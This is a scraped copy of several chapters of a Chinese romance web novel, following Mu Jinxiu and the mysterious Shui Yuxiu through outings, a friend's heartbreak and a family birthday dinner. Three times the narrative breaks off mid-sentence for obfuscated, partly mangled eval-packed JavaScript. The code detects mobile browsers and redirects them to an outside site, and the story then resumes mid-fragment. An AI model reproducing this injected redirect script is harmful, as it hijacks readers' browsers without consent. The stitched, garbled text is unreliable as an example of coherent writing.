牧晋修说:“其实家里也可以看电影。但我就是想带你出来。” 坐在影院里,看到有趣的桥段就可以和大家一起笑;看到伤心的情节,便一同沉默落泪。就像看画展一样,借此找到情感联结,焕发共鸣,让自己在情绪上获得一些归属感。 “哥。”他垂下眼,轻声问:“今天你开心吗?” 他说那么多,水玉岫还是不知道开心是什么。 但是爆米花好吃,可乐好喝,火锅很满意,奶茶也不错,电影……嗯,挺好玩的吧。 所以思索片刻,微微点了点头。 牧晋修静静地看了他一会儿,似乎松了一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664164|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随后笑了起来,捏了捏他的脸:“那就好。我们回家吧。” 出租车很快到来,两人坐进车里。地面上的车无需转站,但需要接受十字路口信号灯的指挥——人类的世界好像处处都是规则。 水玉岫往窗外看,觉得夜里见到的景象,与白天相比又有不同。路过熟悉的地铁站口,他会想起自己来过这里,地下又是什么样子。 世界以不同的形式浮现在他脑海中,渐渐丰满,装进很多东西。 车经过学校,经过红绿灯,经过地铁站,驶上了横江大桥。 城市里确实很少看到星星,光污染和雾霾灰尘使星光被削减掩盖,但月亮一如百年前文人所见,皎皎于空中。 江面起伏,水月光影,涟漪层层堆叠,碎钻一样闪烁着,落进了水玉岫眼睛里。 . 到家后,牧晋修把火锅店送的联动小摆件随手放桌子上,去了厨房。 下午出门前准备的汤已经炖好了,掀开盖子一看,香气立刻扑面而来,筷子拨弄两下,汤面清亮,肉质软烂。 拿勺子尝了尝味道,觉得合格。 牧晋修让水玉岫先去洗澡:“哥,等出来了喝碗汤再睡觉……一小碗就可以,你能做到的。” 他目送着水玉岫进了浴室,门刚关上,立马收了微笑,转身返回大厅,快刀斩乱麻,抽出一个储物箱,把大多数的零食袋子框框往里扔,然后盖上盖子,把它塞到储物间架子最底下,摆了两个箱子在前面挡着。 还在大厅留下几个零食做掩护,防止水玉岫发现得太快。 呵呵呵呵…… 牧晋修拍拍手,扫视一圈,对自己的劳动成果很满意,接着若无其事地给水玉岫盛汤去了。 要是人到时候问起,他就大惊失色地回答:“一定是家养小精灵干的!小精灵太坏了,怎么能偷偷把你的零食吃掉呢。” 小精灵做的坏事关牧晋修什么事。 :D . 新的一天,阳光明媚的午后,太阳唰剌剌地投进大厅,使其中两人的身侧留下清晰的影子。 因为水玉岫老是喜欢坐在地毯上,所以牧晋修购入了一块尺寸更大更软的地毯。牧晋修靠在沙发背上,水玉岫靠在他身上,各自拿着手柄。 屏幕上,一个像素小人正在挥着斧头砍树,另一个小人围着他绕圈。 “哇——”牧晋修拉长语调,夸奖道:“好厉害啊,哥。你怎么做什么都这么有天赋。” 水玉岫懒洋洋地靠在他身上,不做无意义的谦虚,坦然接受一切夸奖。 牧晋修喜气洋洋,还想多夸两句,铃声忽然响起来了。 他看一眼手机:“哥,等下,我接个电话。” 是朋友的来电,无需回避。牧晋修没去阳台,按了接通,随手撩起水玉岫的一缕头发,在手里绕圈把玩。 田皓的声音很快传过来,听上去有点哑:“在忙吗?” 牧晋修看了一眼屏幕,经过短暂教学,水玉岫的小人现在已经可以熟练地在农场里走来走去,这里看看那里看看,和鸡大眼瞪小眼。 他无声地嘿嘿两下,想了想,回答道:“在忙。” 电话那边顿了一下,语调上扬了一点:“忙什么?” 牧晋修一本正经地说:“我在教水玉岫玩星露谷。” 16.甜心 田皓:“……” 田皓:“来我家玩吧,电竞房有顶配显卡还有VR眼镜,任你选。” 牧晋修觉得水玉岫目前的游戏水平最多玩个消消乐保卫萝卜级别的,用不上什么显卡不显卡。 他问:“怎么了,有事吗?” 田皓声音倒是挺平静的,就是听起来有点憔悴:“过来陪我喝点。我在西华路那套房子。” 田皓的酒肉朋友很多,想喝酒的话,随便一个电话就能摇来一大群人,不至于要特地找牧晋修喝。 这么说的话,就是有别的事。 牧晋修看了一眼水玉岫,后者依旧专心致志地玩游戏,清除杂草,给田地浇水,已然接受了自己的新资产:“等我一下。” 电话挂断,牧晋修拍了拍水玉岫的肩头:“哥,我们去田皓家玩实景VR吧,他家可大了,还有一整面墙的手办。” 水玉岫转动着手柄,还在看屏幕,对他的话充耳不闻。 . 半个小时后,两人从电梯出来,走到公寓门前。 牧晋修刚要敲门,忽然发现门居然没锁,留着一条小缝。 “……”他微微皱起眉。 推开门后,田皓摊在沙发上,大厅里酒味倒是不重。窗帘半遮半掩,有些昏暗,四周空荡荡的。 牧晋修先让水玉岫进去,自己转身把门关上。田皓听见动静一抬头:“来了啊。” 田皓身处大厅右侧,牧晋修便让水玉岫在沙发上左边坐下了,接着把窗帘拉开,让阳光落进来:“门怎么没关。” 田皓不以为意:“你不是要来?懒得再去开门了。” 桌面上挺空的,放了三瓶酒,开了一瓶,已经见底了。 牧晋修看了两眼:“你喝了多少啊?先说好,要是有什么事我得送你去医院洗胃。” 田皓揉了揉眼睛:“没多少。我的酒量还用担心吗。” 他之前是真的被叔叔灌酒到肝损伤住院过,还美名其曰练练酒量,牧晋修知道这件事,但不理解。 “不行,这和酒量也没关系啊。”牧晋修说:“万一出事怎么办?” 田皓说:“真没事,我刚从老宅吃过饭回来的,胃里垫了东西。” 他这么说,牧晋修也不再劝了,把空杯子拿过来。 两人喝酒,水玉岫不知道他们在喝什么,也想喝。牧晋修拦住他,问房子的主人:“你这里有牛奶吗?或者果汁也行。” “不知道。”田皓:“自己找吧。” 田皓经常在国外,他这套房子牧晋修也很少来做客,最后翻箱倒柜,给水玉岫拿了一瓶日期新鲜的果粒橙。 水玉岫接受得有点勉强,还是对酒精很好奇。但是牧晋修出门时把平板一起带上了,眼下给他介绍了新游戏,他就没顾得上那么多。 安顿好水玉岫,牧晋修终于空闲下来,在田皓身边落座。 牧晋修没有问田皓今天突如其来的一通电话是怎么回事,没问他为什么这样颓靡不振,说是来喝酒,就真的只是喝酒。 田皓也默默地举起杯子。 这么喝了几个来回,田皓忽然开口:“我……” 牧晋修把杯子放下,听他讲话。 然而田皓又安静下来,沉默得比上次还久:“她有新男友了。” 这个“她”指的是谁,牧晋修一下子就明白了。 他想了想:“那很好啊。” “草。” 田皓忍不住骂了一句:“你不说点好听的安慰我一下吗?” 牧晋修语气很平静:“上学的时候,就有很多人喜欢她啊,你不是也知道吗?” 郑秀谙是个亲和力很强的人,落落大方,温柔又坚韧,参加过许多次山区志愿活动。中学时也举行过很多节目,晚会时穿着闪闪发光的礼裙,在聚光灯下做主持,田皓就在下面为她拍照。 满脸笑意,手举一晚上也不嫌累。 那个时候牧晋修还以为他们以后真的会结婚。 “而且你这几年也经常待在国外啊,总不能让人家一直等你。奶黄包都长大了,没有以前那么闹腾。” 奶黄包是田皓和郑秀谙之前一同养的小猫,是一只橘猫,之前郑秀谙有事出差还放他家寄养过一段时间。 “我不懂。”牧晋修问:“你之前不是自己说早就放下了。” 当时语气还很潇洒来着。 他拍了拍田皓的肩膀,倾斜酒瓶,把两人的杯子满上。 说起来,郑秀谙明明脾气很好,而田皓同样处事圆滑八面玲珑,少与人在明面上起冲突,但两人在一起却时不时就有小的争执。 是因为爱会磋磨人吗? 田皓不知道想起来什么,嗓子越发沙哑:“我——” 话没说完,他偏头做了个深呼吸,闭了闭眼,一滴泪从眼眶里滚了出去。 “……” 牧晋修一愣,微微睁大了眼睛。 半晌,他抽了张纸递过去。田皓没接,随手抹了一下:“……我没事。” 看起来一点都不像没事的样子。 两人都没讲话,田皓手掌覆在脸上,一动不动地静了一会儿,然后摆了摆手:“我去洗把脸。” 他踉跄着起身,去洗手间了。 唉。 牧晋修看着对方的背影,暗自叹了一口气。 爱情究竟是什么呢?课本上没说,太复杂了,搞不懂啊。 于是大厅又只剩下两个人。 水玉岫正抱着平板,一点也不关心人类的爱恨情仇,专心致志玩飞机大厨,电容笔在屏幕上戳来戳去,越来越熟练,渐入佳境。 在家里衣来伸手饭来张口的人,此刻在虚拟世界中兢兢业业地给一飞机的人送餐,太让人感动了。 得亏乘客不知道,不然得一边流泪一边吃。 牧晋修凑过去看,时不时发出一些“这也太厉害了吧”、“感动互联网十大人物”、“没有你他们就饿扁了”的赞扬。水玉岫估计是嫌他吵,百忙之中抽空伸手捂住他的嘴巴。 “……” 牧晋修从掌心中再次闻到对方身上那种奇特的香味,老实闭嘴了。 水玉岫这才把手收回去。 于是周围又只剩下游戏音效和哒哒哒的屏幕敲击音。 牧晋修撑着脑袋,看着水玉岫的侧脸,忽然就有些出神。 水玉岫也会谈恋爱吗?会是和谁呢,恋爱的时候又是什么样子? 会撒娇吗?会跟人闹脾气吗?会不会很黏人? 水玉岫敏锐地察觉到他的视线,两人离得近,他便歪头把脑袋靠在牧晋修身上,膝盖曲起,将平板放在大腿上继续玩。 牧晋修戳了戳他,小声告诫:“哥,你以后谈恋爱要顺顺利利的。要是有人欺负你,告诉我,我去揍他。” 说完又觉得怪怪的,确实想象不出来水玉岫和谁在一起的样子。 他谈恋爱了以后,两人还可以像现在这样一起牵手、抱抱、靠在一起玩游戏吗。 那个时候可能就有点不太方便了,得保持一些社交距离。 ……不行不行不行。 牧晋修莫名有点郁闷,他摇摇头,把这些乱七八糟的想法从脑袋里甩出去,完全忘记了两人已经有了结婚证这件事。 他靠在沙发上,点开手机屏幕。 班群里又热闹起来,新学期即将到来,班委开始收集综测文件,每个人需要提交这一学年参加的活动项目,附上截图,方便后续审核。 [张立业]:@全体成员,辛苦大家,麻烦在后天前完成哦~ [张立业]:完成的同学记得填写一下群接龙~ 牧晋修上学期参加的活动不少,讲座一个都没落下,竞赛参加了,校运会的稿件更是一篇接一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670587|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篇地写。暑假还进了实验室帮忙,论文如果发表挂名了,可以加智育分。 说实话,就算得到保研名额,他也不太想挪窝,哥哥一家如今就在霞市,这个地方承载了他很多记忆,大概率会选择留在本校。 牧晋修手指在屏幕上点点,把这条信息加入备忘录清单。 完成后,他看了眼时间,差不多到了饭点。 田皓家里空得要命,这个大少爷日常不是出去聚餐就是回本家吃饭,在自己家里的次数都是寥寥可数。 牧晋修看过冰箱,一点食材都没有,无处发挥,于是打算点外卖。 他打开外卖软件,把手机举在水玉岫旁边:“哥,来挑晚餐。” 新上任的大厨师直到成功通关了这个关卡,才意犹未尽地放下笔转头。 他挑挑拣拣,选了披萨,所以晚上的晚餐便是鎏金咸蛋黄披萨、意式牛肉披萨和小龙虾酥香披萨。 水玉岫对蛋香鸡肉卷的口味很好奇,于是这个也一并下单。 付款之后,两人坐在沙发上,水玉岫继续玩游戏去了,牧晋修则抬头看着天花板,发了会儿呆。 牧晋修小时候在霞市实验小学念书,和田皓是同班同学,做过一段时间的同桌,两人因此相识。后来田皓去了国际高中,为留学做准备,他还留在霞市,升学去了一中。 如今虽然距离变远,不能常常见面,但朋友间的情谊还在。 有时候牧晋修看着田皓,有一种极其微妙的感觉——如果他当初破釜沉舟,想办法在父亲母亲面前刷足存在感,表现出“我有用处”、“我有价值”的一面—— 那么,今日两人的境遇是否大差不差? 需要喝酒应酬,需要让渡一些自由,需要虚情假意,强颜欢笑。真切的东西,反而变得不那么重要。 牧晋修在脑海中想象了一下,自己对着牧肃威和牧恒毅殷勤奉承、维持表面和平的模样,打了个寒战,感觉有点反胃。 许多事情千金难买——天平的另一头究竟需要安放怎样的筹码,才能使杠杆达到平衡,牧晋修原以为田皓早已明白,如今一看或许并非如此。 田皓从洗手间回来时,情绪似乎好了一点。 几人一同吃完披萨,离开时牧晋修嘱咐他注意身体,田皓笑说知道了,回去好好照顾你的甜心吧。 甜心本人正趴在走廊的阳台旁边,好玩的游戏玩了,好吃的披萨吃了,眯着眼吹晚风,很惬意。 . 从田皓家回来,天早就黑下来了。 两人牵着手进了小区,经过儿童乐园时,小孩们嘈杂的嬉笑声照例传来。 水玉岫看了一眼,刚好对上其中一个家长的视线。对方摇着扇子,很热切地就要过来打招呼。 牧晋修对着邻居一笑,赶紧牵着人跑了,生怕对方下一秒就来打探水玉岫的事情。 等进了电梯,空间一下变得狭小,酒精的味道清晰了不少。 水玉岫偏头嗅嗅,牧晋修往旁边撤了一步,无奈道:“别闻了……我回去马上洗澡。” 虽然度数不高,但牧晋修陪着田皓一杯接一杯,再加上有一段时间没有摄入酒精了,耐受性明显下降。 等从浴室出来,没有了自然风吹拂,又被氤氲水汽一蒸,头开始有点发晕,往床上一躺 ,靠在床头,昏昏沉沉。 水玉岫其实还能辨别出他身上的酒味,站在床边低头看着牧晋修。 他的小兔子睡衣换洗了,现在身上穿的是一身HelloKitty,有两个口袋,刚好可以用来装他的两只手。手揣在兜里时,觉得自己很聪明。 水玉岫看了一会儿,转身刚要走,手臂忽然被人拉住了。 牧晋修没有睁眼,眼睛还闭着。沉默了一会儿,轻声说:“哥,你其实不是人吧?” “……” 房间里一下子变得好安静。 17.城堡 水玉岫怔愣了一瞬,正巧牧晋修手臂发力,猝不及防,便顺着这个力度倒进对方怀里。 牧晋修把人搂住,迷迷糊糊,思绪混乱,想到哪句说哪句:“哥,我早就知道了,你就是小猫变的。” 他哼唧了一下,手横过水玉岫的腰,到处摩挲:“……让我找找,你的小猫尾巴在哪里呢?” “还想瞒着我,以为我什么都不知道吗?” “……” 水玉岫当然没有小猫尾巴,一点也不怕穿帮,安心缩在牧晋修怀里,任他随意检查。 牧晋修努力了一会儿,没有找到心心念念的毛绒尾巴,只好放弃了,停止动作。 这个距离,他身上的酒精味越发明显,虽然比之前微弱,但依旧能感受得到。 牧晋修不讲话了,似乎已经睡着了,呼吸渐渐平稳。 水玉岫抬起头,看着已经进入梦乡的人,目光落在对方的唇瓣上,停留了好一会儿。 然后动了动,一点、一点地凑上前。 两人之间的距离不断缩短,直到两片唇瓣相接,水玉岫先闻了闻,再舔了舔对方的唇角,试图寻找出残留的酒味。 可惜洗漱过后,薄荷味的牙膏便占了上风。 水玉岫若有所思地回味了一会儿,然后把牧晋修横在他胸前的手臂挪开,跳下床,自顾自地去了大厅,打开冰箱。 他闭上眼,手指搭在一排饮品前,感受其中蕴含的不同讯息。 很快,水玉岫便把冰箱最角落的一罐啤酒翻了出来,关上冰箱。 易拉罐上有拉环,但是牧晋修没给他开过这个,水玉岫思考了一会儿,伸出指尖,轻轻一划拉,薄金属便像纸一般被轻易切割开。 他把圆片随手一丢,凑近了点,观察内里液体的颜色,又闻了闻,确定是这个味道,这才端起来,小心翼翼地尝了一口。 又涩又苦的口感。 “……” 水玉岫的眉头皱起来,把易拉罐放下,毫不留恋地推开,转身离去。 过了一会儿,他又慢吞吞地回来了,对着瓶子看了半晌,决定毁尸灭迹。 剩余的液体往洗手台一倒,接着他指尖一点,空了的罐头像被一双看不见的手托起来,悬浮在半空中。 下一秒,瓶身向内凹陷,迅速被压缩,凝聚成一个指甲盖大的金属球,懂事地落到了垃圾桶里。 水玉岫收拾好,满意地离开了。 他刷完水果味泡泡,回到卧室,牧晋修依旧维持着刚才他离开时的姿势。于是水玉岫掀开被子原路返回,钻回怀抱里,伸出手,自己把灯关了。 “咔哒”一声。 水玉岫闭上眼睛,觉得牧晋修身上好热。 . 第二天,牧晋修醒来时,脑袋还有些晕,于是挪了挪身体,怀里似乎有什么东西在跟着他动,他下意识搂住了。 一摸,感觉手感不对,不像被子也不像枕头,掌心下是细腻而又温热的皮肉,随着呼吸轻微起伏着。 牧晋修立刻把眼睛睁开了:“……” 往日里水玉岫睡的那半张床不见人影,另一张被子被挤到床沿,他浑身僵硬,低头一看。 怀里窝着一个人,闭着眼睛,几缕发丝搭在脸颊,乖乖地在睡觉。 睡眠质量真是越来越好了,牧晋修这样给他搂来搂去也没醒,要不是情况不合适,否则牧晋修一定要夸。 靠。 牧晋修无声扶额。 越界了。 ……都怪酒精。 喝酒误事不无道理,牧晋修心惊胆战,稍微扫视两眼,还好衣服都好好地穿在各自身上。 他小心翼翼,试图悄悄把人从自己怀里剥出来,趁着对方还没醒,装作无事发生。 然而稍微一颠簸,水玉岫便睁开了眼睛看他。两人对视着,水玉岫看上去很平静,打了个小小的哈欠。 “哥。” 牧晋修马上道歉了,双手合十,诚恳道:“我昨天……应该是喝多了,不是故意要抱着你睡觉的,对不起。” 他摇了摇脑袋,有点懊恼:“下次如果有类似的情况,你可以直接把我推开的……是我力气太大了吗?” 脑海里不由想象出一些自己强硬把人往怀里按的画面。 啊啊啊啊牧晋修! 你怎么能这样! “……” 水玉岫看着他微微泛红的耳朵,什么也没说,眨了眨眼睛。 早饭时,作为补偿,牧晋修对水玉岫称得上是百依百顺,水玉岫懒得抬手用餐具,牧晋修便一口一口送到他嘴边喂他。 然后问:“哥,原谅我了吗?” 水玉岫其实不太明白,感觉两个人现在的姿势和昨晚也没有什么差别,同样是懒洋洋地窝在人怀里,为什么睡觉的时候就不可以抱着。 但这样的牧晋修很好玩,他觉得有趣,所以要多提一些要求。 当晚睡觉时,牧晋修恨不得用被子把自己裹着一个茧,以示自己的诚心。 . 周二的时候,牧晋修接了个电话。 电话是嫂嫂打来的,说小侄子过两天生日,让牧晋修记得回去吃饭。 牧晋修说自己记得好好的,礼物都准备好了,背景音里马上传来一个小男孩的声音,兴奋大喊:“叔叔最好了!” 牧晋修笑了笑,寒暄几句,便把电话挂了。 结婚不结婚,合同不合同的,他并没有往外说,不想让他们知道生父又联系上他,家人会担心。 转过头,见沙发上的人在看他,牧晋修便亲亲热热地凑过去:“哥,有生日蛋糕可以吃。我们到时候去吃蛋糕吧。” “生日蛋糕和你平常吃的小蛋糕不一样。”牧晋修两只手比划了一下:“是充满祝福的蛋糕,吃了会幸福。” 充满祝福的蛋糕是什么味道,幸福又是什么,水玉岫还不知道。 牧晋修又说:“而且我哥做饭比我好吃多了,你必须得尝尝,说不定就爱上吃饭了,每天一日三餐按时坐在桌子前,一口零食都不碰。” 好处听上去很多,没有人会不心动。反正可以吃好吃的,水玉岫便把这个事情加上日程。 自从学会玩游戏之后,水玉岫的日程表进行了更新。原来阳台上的两盆月季,牧晋修负责一盆,他负责另一盆,比赛看谁能把花照顾得更好。 现在水玉岫每天不仅要去阳台上给月季花浇水,又要去星露谷农场里种植农作物,在飞机上给人送餐,要晒太阳,要看电视,要读故事书,要吃小零食……一天的安排比牧晋修还忙。 忙,忙点好啊。 牧晋修又一次从书房里出来看看他时,水玉岫这回游戏不玩了电视也不看了,顺溜地躺在沙发上,变成没有骨头似的柔软的一条,怀里抱着一包牛奶巧克力,时不时给自己塞一块。 放在嘴巴里又懒得嚼,改为含着,慢慢等巧克力自己化开。 ……这是没电了。 还能给自己玩累了。 牧晋修忍不住笑了,站在沙发前低头看他。水玉岫瞥了他一眼,以为他也想吃,摸出一块巧克力递过去。 牧晋修张嘴接了,又蹲下身戳戳人的脸颊:“一会儿出门逛逛,老是看电子产品,小心等下近视。” 这也是他们的一项新活动。 天气好时,傍晚太阳将要落山,天地间只靠晚霞余晖照明,周围没有那么热,牧晋修会把水玉岫带下楼走走。 不走远,活动范围就在小区里,以儿童城堡为重点中心,四处游荡,或着只是坐在椅子上,看风把树叶来回吹散。 虽然说住在高楼里,大家都相当注重隐私,但碰上几回面熟了,也就认识了。牧晋修每次出门都要为水玉岫介绍邻居,告诉他这栋楼、这个小区里住了什么样的人,他们正过着怎样的生活。 二十三楼住的是一对年轻夫妻,刚结婚不久,对新生活充满热情,脸上总是挂着笑,牧晋修还吃了他们在电梯分发的喜糖。 楼下住着一个老奶奶,特级教师退休,现在在照看孙子,经常有学生回来看她。牧晋修给她送过自己做的豆花炖猪蹄,压得很软烂,奶奶赞不绝口,承诺以后免费给牧晋修的小孩补习,被牧晋修打哈哈过去了。 十一楼是一家四口,小女儿上初中,喜欢骑行,拿了市里组织的青少年骑行组金牌,颁奖时牧晋修正好路过;大儿子高中在读,牧晋修跟他打过球,世界杯期间还聊过几句球赛。 …… 为了避免受到伤害,而一味地远离人群是错误的,不要让自己被那层透明的外壳包裹住。牧晋修想带水玉岫走出去,去看外面的世界,去接触具体的人——他觉得现在的水玉岫,和刚到家时相比,生动了好多。 是好事情呀。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675388|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 怕成年人不知内情,有时候谈天顺嘴问多了,于是便从走近小孩子们身边开始。 小区里就有一所幼儿托教机构,暑假学校没开放,有些家长要工作,无法看顾孩子,便会把他们送到机构里。 牧晋修之前和小朋友们聊过天,知道他们六点放学,放学后有一个小时多的游戏时间。他就在这个时间段带水玉岫出门。 两人坐在儿童城堡旁边的长椅上,看着几个小孩在滑梯城堡、跷跷板、荡秋千等设施间跑来跑去,有时候玩得不亦乐乎,有时候也会小小吵一架,但很快又和好了。 人小小的,烦恼也小小的。 水玉岫目光落在了长椅另一边的书包上。那是一个瓢虫形状的书包,鲜红的背部落了许多黑色的点。 他刚到家的那天傍晚,站在窗前往下看,就看到儿童城堡旁边的长椅上,放着这样一个颜色鲜艳的七星瓢虫书包。 现在他伸出手摸了摸书包的塑料外壳,知道了这并不是虫子,也不会飞。 一个扎了两个羊角辫、带着彩色五角星发卡的女孩,走到两人面前,嘿嘿一笑,忽然往他们手里贴了两朵小红花,扭头跑了。 水玉岫又低头看自己手背上的小红花,不知道这是干什么的,举给牧晋修看。 “哇——”牧晋修拉长音调:“这是一种奖章,代表着你受到了表扬。水玉岫表现得很好,对不对?” 他把自己的那朵小红花贴纸摘下来,也贴到对方手上,然后从口袋里摸出一把糖果,放在水玉岫的手心。 下次小女孩再经过时,水玉岫便把水果糖递给她,牧晋修则在一旁笑眯眯地鼓掌。 等时间再晚一点,会下楼散步的人不少,周围的人一旦多了起来,牧晋修便把人带回家吃饭。 夜幕降临,圆满的一天便要这样过去了。 . 包厢昏暗,光线暧昧地在四周打探。到处推杯换盏,时不时便有玻璃杯碰撞的清脆响音。 牧恒毅靠在沙发上,头一仰,一杯酒又见底了,旁人的人笑看他一眼,打趣着立刻满上了。 牧恒毅没有理会别人的调侃,继续喝酒,对怀里的人也提不起兴趣。 他这段时间有些不太痛快。要说难过,倒也没有,就是在一些小事上没那么顺利,经常碰壁。 牧恒毅觉得一切的开始就是源自牧晋修和水家联姻的事情。 一开始他知道这件事时,完全不敢置信,紧接着便是窝火。 联姻是否掉价,那得看看是和谁。 若是什么不入流的门第,自然不值得,没什么好艳羡的,反而会暗自发笑。 ……但那是水家。 多少人想与之牵桥搭线,水家指缝里漏一点油水,就够人吃上一段时间。这种好事……怎么就落到了牧晋修身上。 牧恒毅当然要回家闹。虽然他不喜欢男的,但一尊大佛请回家供着也好,他保证能做到事无巨细地照料。 自从牧晋修放弃继承人身份后,他便成了牧肃威目前名义上的长子。即使现在他爹三婚,但新妻子头胎是女孩,如今刚怀上二胎,就算是生了个小子,想日后慢慢培养,也年岁太轻。按理来说,如何都威胁不到他。 可这回牧肃威却难得冷脸,不仅厉声训斥了他,还叫他老大不小的,收收心,多干点正事。 一通话毫不留情,把牧恒毅气得半夜在路上飙车,差点发生事故。 他妈那边倒是来劝他,说这件事不是一两个人的想法能左右的,让他别置气,到时候事情出了差池,反而落不到好。 言语间暗示,说水家联姻的那位似乎没什么实权,这么多年不见水花,大概率就是不重视。 牧恒毅冷静下来一想,觉得话说得确实有道理,只能忍了。不过还是找准机会,在牧晋修面前阴阳怪气一番。 牧晋修倒是没什么反应,挑了挑眉,看他一眼,他便闭嘴了。 今晚宴会刚开始,有人聊到这件事,牧恒毅就开始挂脸。 “……” 牧晋修。 想到这个名字,牧恒毅下意识摸了摸后脑勺。那里有一条长达十几厘米的伤疤,即使几年过去,依旧能回忆起当时锥心刺骨的疼痛。 牧恒毅那时以为自己真的会死。 他暗自打了个寒颤,咬牙。 那个人……完全就是个疯子。 18.许愿 周五的时候,牧晋修带着水玉岫出门吃生日蛋糕了。 刘义明一家现在住在曼坪路的小区,牧晋修这回终于把车库里的车开了出去。 他坐在驾驶座上转动方向盘,还抽空问:“怎么样,哥,我车技还不错吧?” 水玉岫对坐车这件事已经很熟悉了,系上安全带,把车窗降下来一点,长发被风吹来吹去。 到达目的地后,从后备箱里拎东西上楼,按下门铃,门很快开了。 一个男孩,探出身子来:“舅……” 话还没说完,看见牧晋修旁边的水玉岫,愣了几秒,然后忽然两只手捂住嘴巴,“啊”了一声,转身跑走了。 “?” 牧晋修一头雾水:“搞啥呢,给你买的高达,还不过来拿?” 赵悦华的声音从里面传出:“小牧来啦?” 那个男孩又慢吞吞地挪出来了,嘴上跟牧晋修讲话,眼睛还在偷偷瞟水玉岫:“谢谢叔叔。” “长高了啊。” 牧晋修拍了拍他的肩。几人进门,刘琦把高达盒子放下,忽然转过身,对着水玉岫,一只手在空中转了个圈,然后优雅地鞠了个躬。 给牧晋修看乐了,伸手往他脑门上拍了一下:“你在扮演绅士吗?” 刘琦哼了一声,不理他:“姐姐,欢迎来到我家,蓬荜生辉,五光十色。” “这成语用的,你作文辅导班是不是白上了。” 牧晋修又指了指水玉岫的脖子,纠正:“是哥哥。” “……” 刘琦眼睛睁大了,反复确认,半晌才老实改口:“哥哥。” 他喊完,牧晋修一琢磨:“不对,你管我叫叔,叫他哥,这差辈了啊。” 几人在门口讲话,赵悦华走过来,嗔怪地拍了一下牧晋修:“回家吃个饭还带东西,又是吃的又是玩的,等下刘琦这小子心要野了。” 牧晋修笑了:“生日嘛,本来就是用来开心的,没事。” 赵悦华怀孕四个月了,牧晋修不让她久站:“姐,别管我,你坐你坐。” 牧晋修有时候管赵悦华叫姐,有时候管她叫嫂子。与之对应的,刘琦有时候管牧晋修叫舅舅,有时候叫叔。 大家亲如一家,并不在这种称谓上过多介怀。 “玉岫也来了呀。” 赵悦华早就瞧见了水玉岫,笑眯眯地来拉他的手。水玉岫刚被牧晋修放开,转眼又被人牵走了,一同坐在沙发上。 不知道是不是牧晋修事先嘱咐过什么,对于水玉岫不讲话这件事,全程没有一个人多问。 水玉岫第一次被除了牧晋修以外的人牵手,赵悦华手上有茧子,手掌干燥而温暖,很有力量。 赵悦华轻轻拍了拍他的手背:“晋修说你喜欢上次的水果罐头,一会儿多点带回去。” 她一顿,有点心疼:“怎么这么瘦,是不是平常饭不合胃口?” 水玉岫莫名有些心虚。 牧晋修去厨房跟他哥打了个招呼,叼着块苹果片回来了,趁机告状:“天天可劲吃零食,都懒得吃饭了。” 赵悦华摇摇头,不赞同:“饭还是要吃,身体最重要。” 牧晋修戳了戳水玉岫的脸颊:“听到了吗?大家都这么说,不是我故意不让你吃小零食。” 刘琦据理力争:“零食也是很重要的,支持吃零食自由!” “……” 见几人说说笑笑,水玉岫似乎没有什么排斥的样子,牧晋修便去厨房给他哥打下手,顺便学一点新的下厨技巧。 很快,菜端上了饭桌,码得整整齐齐,摆盘漂亮,香气逼人。 刘义明摘下围裙,笑吟吟,还拿了瓶自家酿的酒出来:“晚上人多,喝点。” “不不不。”牧晋修摆手:“我开车来的,喝不了。” 又看向水玉岫:“他更不行,倒点椰汁得了。” 水玉岫闻着那酒味道香香的,和家里冰箱中的酒闻起来不一样,有葡萄的香气,不知道这个会不会好喝一点。 “别闻了,不会给你喝的。” 牧晋修毫不留情,把杯子拿走:“这一杯下去,你喝完得睡一个星期。” “……” 水玉岫又尝了一口椰汁,觉得喝这个也行。 刘义明手艺确实很好,难怪能开得了大饭店。每一道菜都鲜香入味,光是闻着便叫人食欲大开。 一家人围坐在圆桌前,边吃边聊,牧晋修时不时停下来给水玉岫剥只虾夹块排骨:“多吃点多吃点。” 赵悦华看着他们,和刘义明对视一眼,笑而不语。 水玉岫吃得鼻尖泛红,被辣得有点懵懵的。 出门前,牧晋修怕他一会儿在空调房里着凉,带了件薄外套出来,现在又叫人把外套给脱了:“太辣了就别吃这个,这边有不辣的菜。” 水玉岫才不管,就是要吃,又夹了一块尖椒鸡。 他还发现有些酱汁淋在米饭上,会变得很美味。 牧晋修无可奈何,只好给他打了碗汤。 等饭菜消耗得差不多了,牧晋修往椅背上一靠:“好撑,满足了。哥手艺还是这么好。” 刘义明笑了:“想吃就多回来吃饭,不缺你一双筷子。” “那我每天开车来蹭饭。”牧晋修也笑:“想姐了,她什么时候休假?” 刘义明:“你来之前刚打电话来呢,这阵子好像有什么活动,走不开。” 